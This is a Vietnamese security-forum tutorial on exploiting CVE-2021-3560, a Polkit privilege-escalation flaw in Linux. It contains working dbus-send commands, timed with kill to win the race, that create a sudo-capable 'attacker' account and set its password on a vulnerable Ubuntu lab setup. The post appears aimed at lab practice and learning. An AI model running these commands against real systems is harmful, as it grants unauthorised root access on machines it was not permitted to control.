Hướng dẫn khai thác lỗ hổng leo quyền tồn tại 7 năm trong Polkit

tuantran

Moderator
Thành viên BQT
27/04/2017
29
76 bài viết
Hướng dẫn khai thác lỗ hổng leo quyền tồn tại 7 năm trong Polkit
Như trong bài viết trước, đầu năm 2021, Kevin Backhouse đã khám phá ra một lỗ hỗng leo quyền trong Linux Polkit. Tính đến nay, lỗ hổng này đã tồn tại được 7 năm. Tuy nhiên rất nhiều Linux distribution nổi tiếng không bị ảnh hưởng bởi lỗ hổng này.

CVE-2021-3560.png

Bạn có thể kiểm tra ở danh sách dưới đây.

1.png

Hãy chuẩn bị những cài đặt nhỏ sau đây để bắt đầu tìm hiểu cách khai thác lỗ hổng này nhé.
  • Ubuntu 20.04 LTS

  • Cài đặt policykit-1 version 0.105-26ubuntu1
Trước tiên, ta hãy cùng tìm hiểu Polkit là gì.

Policy toolkit (Polkit) là một phần trong hệ thống ủy quyền của linux. Mặc định, nó là một dịch vụ hệ thống được cài đặt trong rất nhiều Linux distributions. Thực tế, khi bạn thực hiện một hành động với quyền cao hơn thì Polkit sẽ xác định xem bạn có quyền cần thiết để thực hiện hay không.

Để tương tác với Polkit chúng ta có thể dùng pkexec thay vì sudo. Ví dụ như bạn muốn tạo một user thông qua lệnh useradd thông qua CLI, bạn sẽ được yêu cần nhập mật khẩu để xác thực:

Gõ lệnh:
Mã:
pkexec useradd test

2.png

Có 1 lệnh khác cũng có thể giúp bạn dùng để gọi Polkit từ CLI đó là dbus-send. Nó là một công cụ hỗ trợ gửi tin nhắn D-Bus và có thể sử dụng để mô phỏng các thông điệp D-Bus mà giao diện đồ họa có thể gửi. Nó được cài đặt mặc định trên hệ thống có sử dụng D-Bus.

Ví dụ như thay vì ta dùng useradd CLI để tạo mới một user thì ta có thể dùng D-bus để tạo bằng cách chạy dòng lệnh dưới đây:

Mã:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:test string:"create user test" int32:1

Sau khi đã tìm hiểu được Polkit là gì và làm thế nào để gọi Polkit, chúng ta cùng tiến hành khai thác nào.

Trong bài này mình sẽ không đi sâu vào chi tiết vì sao lỗ hổng này xảy ra. Nếu như bạn tò mò thì có thể đọc tại đây.

Việc khai thác lỗ hổng này trong thực tế sẽ bao gồm những bước sau:
3.png

  1. Kẻ tấn công sẽ gửi thông điệp dbus tới account-daemon để yêu cầu tạo 1 người dùng mới với quyền sudo. Thông điệp này sẽ được gắn với ID duy nhất bởi dbus-daemon.
  2. Tiếp đến, kẻ tấn công sẽ hủy bỏ thông điệp sau khi Polkit đã nhận được request. Điều này sẽ làm xóa đi thông điệp ID duy nhất trước đó.
  3. Polkit sẽ hỏi dbus-daemon về user id của người gửi thông điệp (thông điệp này chính là thông điệp ID đã tạo trước ở bước 1).
  4. Dbus-daemon không thể tìm thấy thông điệp ID vì kẻ tấn công đã xóa nó ở bước 2. Nó sẽ xử lý lỗi với lỗi code.
  5. Vì Polkit xử lý sai lỗi và không tìm thấy UID thì nó sẽ thay thế UID bằng 0 mà UID=0 chính là root user.
  6. Vì nó yêu cầu tạo người dùng mới được xem như là yêu cầu được gởi bởi root user nên Polkit cho phép thực hiện 1 cách dễ dàng.
Bên trên là các bước để thực hiện việc khai thác. Bây giờ vào thực hành nào.

Đầu tiên mình gửi request tạo user:

Mã:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"attacker Account" int32:1

Như ở bước 2 thì mình cần phải hủy bỏ thông điệp sau khi Polkit đã nhận request. Vậy phải làm sao có thể tính được thời gian khi nào nó nhận được vào thực hiện? Chúng ta có thể dễ dàng dùng time để check:

Mã:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"attacker Account" int32:1

4.png

Như bạn thấy task này cần 0.013 giây để hoàn thành, ta có thể hủy nó trước 0.013 là OK. Bạn có thể hủy lệnh như sau:

Mã:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.008s; kill $!

Sau khi đã add được user thì bạn có thể check lại bằng Id attacker

5.png

Tiếp theo, mình thực hiện việc set mật khẩu cho attacker. Dùng openssl để tạo mật khẩu:

Mã:
Openssl passwd –6 abc

Sau đó, dùng dbus-send để set user:

Mã:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$UID org.freedesktop.Accounts.User.SetPassword string:'$PASS_GEN' string:'set pass' & sleep 0.008s; kill $!

Cuối cùng, xem kết quả bằng su attacker cmd:

6.png
Yeah vậy là đã khai thác thành công.

À nếu như bạn cảm thấy tốn quá nhiều thời gian cho việc setup lab thì bạn có thể vào đây để thực hành.

Chúc các bạn khai thác thành công!
 
Chỉnh sửa lần cuối bởi người điều hành:
Thẻ
cve-2021-3560 linux linux polkit polkit privilege escalation
Bên trên